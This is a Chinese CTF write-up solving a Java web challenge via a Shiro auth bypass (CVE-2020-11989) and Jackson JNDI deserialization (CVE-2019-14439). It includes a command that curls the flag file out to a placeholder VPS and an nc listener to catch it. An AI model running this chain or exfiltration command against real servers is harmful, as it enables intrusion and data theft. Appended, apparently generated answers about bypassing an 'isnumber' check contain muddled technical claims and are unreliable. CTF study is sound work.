[红明谷CTF 2021]JavaWeb

31 篇文章 3 订阅
1 篇文章 0 订阅

[红明谷CTF 2021]JavaWeb

一.前言

好像是已经很久不刷题了,因为最近一直在忙着复习高数和专业课,拿不出太多的时间来打CTF。但是这次也总算是找到了点时间,做道java的简单题来放松一下,不能总是学那些书本上的知识了,感觉学多了也会烦。

二.正文

这道题目上来就让我们访问/login目录,所以我们直接访问试试看。
请添加图片描述
服务器那边又让我们访问/json的路径,但是我们如果用post方法对服务器进行访问的话,服务器又会返回另外的结果。
在这里插入图片描述
这里的登陆失败,就表明我们需要进行身份验证,我们尝试输入一对用户名密码。
在这里插入图片描述
还是失败,但是我们在它的Headers里面找到了Cookie
请添加图片描述
我们可以通过这里面的rememberMe=deleteMe,来判断这道题是shiro框架,我们去访问/json
在这里插入图片描述
服务器仍然返回/json,这里就需要用CVE-2020-11989来进行Apache Shiro权限绕过
请添加图片描述
我们发送请求后,服务器端返回给我们了一个报错信息,发现服务器端用到了jackson。可以猜测这里可能会存在反序列化漏洞。
我们用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar这个工具来进行反序列化漏洞利用,并将flag外带。
使用的命令如下

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'curl [VPS_IP:PORT] -File=@/flag' -A "[VPS_IP]"

在这里插入图片描述
然后我们在新建一个命令窗口,起一个nc来接收flag

nc -lnvp 9999

最后我们用CVE-2019-14439的链子打进去,用上面的springboot的payload
在这里插入图片描述

最后结果
请添加图片描述

后记

很简单的一道题,但是对于我这种刚开始java安全的人来说,还是有很多细节要去学习。

参考文章:
http://b1ue.cn/archives/189.html

  • 3
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
### 回答1: CTF是一个信息安全技术比赛,其中的isnumber题目涉及到绕过数字识别的方法。 首先,我们需要了解isnumber的原理。isnumber是用于判断一个输入是否为数字的函数。通常情况下,isnumber函数会根据输入的特征,如字符长度、字符类型等,来判断输入是否为数字。在绕过isnumber时,我们需要找到一种方式,使得输入被isnumber认为是数字,即使它实际上不是。 一种绕过isnumber的方法是通过输入一个字符转义序列。字符转义序列允许我们在输入中使用特定的字符,这些字符会被解析为其他含义。例如,我们可以使用转义序列"\x"来表示一个十六进制字符。通过构造一个特定的输入,我们可以使得isnumber函数无法正确判断这个输入是否为数字。 另一种绕过isnumber的方法是利用类型转换漏洞。isnumber函数可能会使用一些类型转换操作,如将输入的字符串转换为整数或浮点数。但是,如果我们输入的字符串不符合转换的规范,就有可能绕过isnumber的判断。我们可以尝试构造一些特殊的字符串,使得类型转换操作无法正确转换,从而绕过isnumber的判断。 总之,绕过isnumber需要具体情况具体分析。我们可以通过寻找字符转义序列或利用类型转换漏洞等方法,来构造一个满足题目要求的输入,使得isnumber函数无法正确判断输入是否为数字。在CTF比赛中,解决这样的题目需要结合对isnumber函数和相关技术的理解,以及对不同绕过方法的掌握。 ### 回答2: CTF(Capture the Flag)是一种网络安全竞赛,参与者需要通过解决一系列的题目来获取旗帜(flag)并获得分数。"isnumber"是一种常见的CTF题目类型,要求参与者绕过一个检测输入是否为数字的判断。 要绕过"isnumber"的检测,首先需要了解其判断的原理。通常,isnumber会对输入的数据进行一系列的校验,以确保其符合数字的特征。一种常见的校验方法是使用正则表达式来匹配数字的模式。因此,可以猜测"isnumber"可能会使用类似于"\d+"这样的正则表达式来判断输入是否为数字。 为了绕过这种检测,可以利用正则表达式的特性进行欺骗。例如,可以使用"0.0"作为输入,因为它在字符串的形式下不是一个有效的数字,但是正则表达式对于小数点之前的数字和小数点之后的数字都不会做校验。因此,这种输入可以绕过判断。 另一个方法是利用编码转换。数字在不同的编码方式下会有不同的表示形式,可以尝试使用编码转换函数来混淆输入数据。例如,在ASCII编码中,数字"0"对应的十进制值为48,在Unicode编码中,数字"0"对应的十进制值为48。因此,可以试图将输入数据从ASCII编码转换为Unicode编码,这样就可以绕过判断。 总之,要绕过"isnumber"的检测,可以尝试使用特殊字符、不符合数字特征的输入数据,或者利用编码转换等方法来欺骗判断函数。这些方法都需要对"isnumber"的实现方式有一定的了解,以便选择合适的绕过方法。 ### 回答3: CTF(Capture The Flag)是一种网络安全竞赛,参赛者需要解决一系列安全问题并获取旗帜(flag)作为证明。IsNumber是一道CTF中常见的题目,需要绕过其校验逻辑判断是否为数字。 首先,我们需要了解IsNumber的校验逻辑。在一般情况下,IsNumber函数会接收一个输入,然后通过内部的校验方法判断是否为数字。我们可以尝试绕过这个校验方法来绕过IsNumber题目。 一种常见的绕过方法是通过字符特性来绕过。我们可以利用ASCII码来传递不可见的字符。以Python为例,我们可以使用"\x00"来表示空字符,并将其插入输入,这样在校验过程中空字符会被认为是宽字符机制中的字符串结束标志,从而绕过校验。 另外,我们还可以尝试通过输入中的特殊字符来绕过校验逻辑。例如,某些校验逻辑只判断输入中是否含有除数字之外的字符,如果我们输入的内容中带有特殊字符,可能就能绕过校验而被判断为数字。 此外,我们还可以尝试绕过从键盘读取输入的方法。一些CTF题目为了防止通过键盘输入绕过,可能会使用特殊的输入方式,如从文件或网络中读取输入。我们可以尝试绕过这种限制,通过提供恰当的输入来源来绕过IsNumber题目的校验。 总之,绕过CTF中的IsNumber题目需要根据具体情况寻找相应的漏洞或特性,通过巧妙的输入,绕过校验逻辑,判断输入为数字,从而达到绕过的目的。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值